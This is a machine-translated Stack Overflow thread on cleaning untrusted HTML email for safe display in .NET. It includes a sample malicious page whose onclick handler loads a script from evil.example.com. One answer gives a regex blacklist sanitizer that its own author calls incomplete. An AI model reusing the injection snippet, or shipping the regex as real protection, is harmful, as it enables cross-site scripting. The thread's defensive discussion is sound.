在保留基本格式的同时,我可以使用啥来清理收到的 HTML?

Posted

技术标签:

【中文标题】在保留基本格式的同时,我可以使用啥来清理收到的 HTML?【英文标题】:What can I use to sanitize received HTML while retaining basic formatting?在保留基本格式的同时,我可以使用什么来清理收到的 HTML? 【发布时间】:2011-06-01 11:56:44 【问题描述】:

这是一个常见的问题,我希望它已经为我彻底解决了。

在我为客户做的系统中,我们希望接受来自不受信任的来源(html 格式的电子邮件和 HTML 文件)的 HTML,对其进行清理,使其没有任何脚本、指向外部资源的链接,以及其他安全/等问题;然后在不丢失基本格式的情况下安全地显示它。例如,就像电子邮件客户端对 HTML 格式的电子邮件所做的那样,但理想情况下不会重复该领域(迄今为止)已经犯下的 347,821 个错误。 :-)

我们的目标是最终通过我们自己的 Web 界面中的 iframe 或通过 .Net Windows 窗体应用程序中的 WebBrowser class 向内部用户展示一些我们觉得很舒服的东西(这似乎不是更安全,可能更安全)等。下面的示例。

我们认识到其中一些可能会破坏文本的显示;没关系。

我们将在收到时对 HTML 进行清理并存储清理后的版本(不必担心存储部分——SQL 注入等——我们已经解决了这一点)

该软件需要在 Windows Server 上运行。首选 COM DLL 或 .Net 程序集。 FOSS 明显受到青睐,但不会破坏交易。

到目前为止我发现了什么:

AntiSamy.Net project(但在 no longer be under active development 看来,比主要的 - 和活跃的 - AntiSamy Java project 落后一年多)。 Some code 来自我们自己的 Jeff Atwood,大约三年前(天啊,我想知道他在做什么......)。 HTML Agility Pack(由上面的 AntiSamy.Net 项目使用),这将为我提供一个强大的解析器;然后我可以实现我自己的逻辑来遍历生成的 DOM 并过滤掉我没有列入白名单的任何内容。敏捷包看起来真的很棒,但我会依赖我自己的白名单,而不是重复使用某人已经发明的***,所以这是反对它。 Microsoft Anti-XSS library

对于这项任务,您有什么建议?以上之一?还有什么?


例如,我们要删除以下内容:

script元素 linkimg 以及此类涉及外部资源的元素(可能将 img 替换为文本“[已删除图像]”等) embedobjectappletaudiovideo 以及其他尝试创建对象的标签 onclick 和类似的 DOM0 事件处理脚本代码 hrefs on a 触发代码的元素(即使是我们认为没问题的链接,我们也可能会变成用户必须有意复制并粘贴到浏览器中的纯文本)。 __________ (我没有想到的 722 件事是我希望利用已经存在的东西的原因)

例如,这个 HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function()  var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>

会变成

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>

(请注意,我们完全删除了 linkonclick,并用占位符替换了 img。这只是我们认为需要删除的一小部分。)

【问题讨论】:

好问题。手动解析将是一场噩梦。 【参考方案1】:

这是一个较旧但仍然相关的问题。

我们正在使用HtmlSanitizer .Net 库,其中:

是开源的 积极维护 没有problems like Microsoft Anti-XSS library, 是否使用 OWASP XSS Filter Evasion Cheat Sheet 为此特别构建(与 HTML Agility Pack 相比,后者是一个解析器)

同样在NuGet

【讨论】:

看起来不错!谢谢!当然,这些天来,这个问题将作为“推荐”问题结束。无论如何,我真的很感谢你的回答。【参考方案2】:

我感觉到您肯定需要一个可以生成 XML/DOM 源的解析器,以便您可以对其应用 fiter 来生成您正在寻找的内容。

看看 HtmlTidy 或 Mozilla 或 HtmlCleaner 解析器是否可以提供帮助。 HtmlCleaner 有很多configurable options,您可能还想看看。特别是transform section,它允许您跳过不需要的标签。

【讨论】:

谢谢!是的,虽然解析器是一个重要的部分,正如我在 HTML 敏捷包中提到的,另一个重要的部分是知道要省略什么/保留什么。我宁愿站在肩膀上,也不愿创建自己的列表从头开始......(但如果必须,我会的。)感谢解析器链接! 查看这里的转换部分htmlcleaner.sourceforge.net/parameters.php#transform。它提供了跳过标签 是的,我明白了。我的意思是要跳过的标签列表(以及属性和...)。 @T.J.:你有点倒退了,使用标签和属性白名单(即只允许这些东西通过)而不是黑名单(即不允许这些东西通过);如果你让它们通过,你还需要清理srchrefstyle、...属性。知道什么是安全的比知道什么不是更容易,白名单也使样式更容易。 @mu 太短:是的,抱歉,从问题中不清楚,但我很清楚它需要是白名单,而不是黑名单。【参考方案3】:

我建议使用另一种方法。如果您控制查看 HTML 的方法,我将使用没有 ECMA 脚本引擎或任何 XSS 功能的 HTML 呈现器来消除所有威胁。我看到您将使用内置的 WebBrowser 对象,并且正确地,您希望生成不能用于攻击您的用户的 HTML。

我建议寻找一个基本的 HTML 显示引擎。无法解析或理解任何会使您易受攻击的脚本功能。那时所有的 javascript 都会被忽略。

这确实有另一个问题。您需要确保您使用的查看器不会受到其他类型的攻击。

【讨论】:

谢谢。这样的查看器还必须有一种方法允许我控制(阻止)对外部资源的所有请求(如跟踪图像等)。不过,纯粹的渲染器可能会将其作为希望我提供一些东西来检索它的引用的副产品。 :-) 干杯,【参考方案4】:

我建议查看http://htmlpurifier.org/。他们的库非常完整。

【讨论】:

谢谢。 PHP 完全不适合,但这并不意味着我不能从他们的白名单中寻找灵感。【参考方案5】:

有趣的问题,我花了一些时间来面对它,因为我们想从用户输入中删除很多东西,即使我做了一长串要删除的东西,HTML 上的后者可以发展,我的列表会有一些洞。 尽管如此,我还是希望用户输入一些简单的东西,比如粗体、斜体、段落......非常简单。 毫无疑问,允许的东西列表更短,html 可以在后面更改,除非 html 停止支持这个简单的东西,否则不会在我的列表上留下漏洞。 所以开始考虑其他方式,说出你允许的内容,非常痛苦,因为我不是正则表达式专家(所以请一些正则表达式的人在这里纠正我或改进)我甚至在 HTML5 到来之前就编写了这个表达式及其工作形式。

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")

(b|i|p|br)

这是一个起点,这就是为什么一些正则表达式的人应该改进以删除属性,比如 onclick

如果我这样做:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>

带有 onclick 或其他内容的标签将被删除,但相应的结束标签将保留,毕竟我们不想删除这些标签,我们只想删除标签属性。

也许是第二次正则表达式传递

(?!<[^<>\s]+)\s[^</>]+(?=[/>])

我说的对吗?这可以组合成单遍吗?

我们仍然没有标签之间的关系(打开/关闭),到目前为止没有什么大不了的。 可以写入属性 remove 以从白名单中删除所有内容吗? (可能是的)。

最后一个问题.. 当移除像 script 这样的标签时,内容仍然存在,当移除 font 而不是 script 时,它是可取的,我们可以做第一遍

<(script|object|embed)[^>]*>.*</\1>

这将删除某些标签及其内容.. 但它是一个黑名单,这意味着你必须密切关注它,以防 html 发生变化。

注意:全部带“gi”

编辑:

在此功能上加入以上所有内容

String.prototype.sanitizeHTML=function (white,black) 
   if (!white) white="b|i|p|br";//allowed tags
   if (!black) black="script|object|embed";//complete remove tags
   e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
   return this.replace(e,"");

-black list -> 完成删除标签和内容 -白名单->保留标签 其他标签被移除但标签内容被保留 白名单标签的所有属性(其余的)都被删除了

仍然有一个属性白名单的位置(上面未实现),因为如果我想保留 IMG,那么 src 必须保留……那么跟踪图像呢?

【讨论】:

以上是关于在保留基本格式的同时,我可以使用啥来清理收到的 HTML?的主要内容,如果未能解决你的问题,请参考以下文章

在网页编辑器中粘贴时如何保留Word中的表格?

在网页编辑器中粘贴时如何保留Word中的表格?

在网页编辑器中粘贴时如何保留WORD中的表格

我在 Python 中使用啥来实现最大堆?

我可以做些啥来加快 S3 上传/更新?

错误 c3867,不知道我需要做啥来修复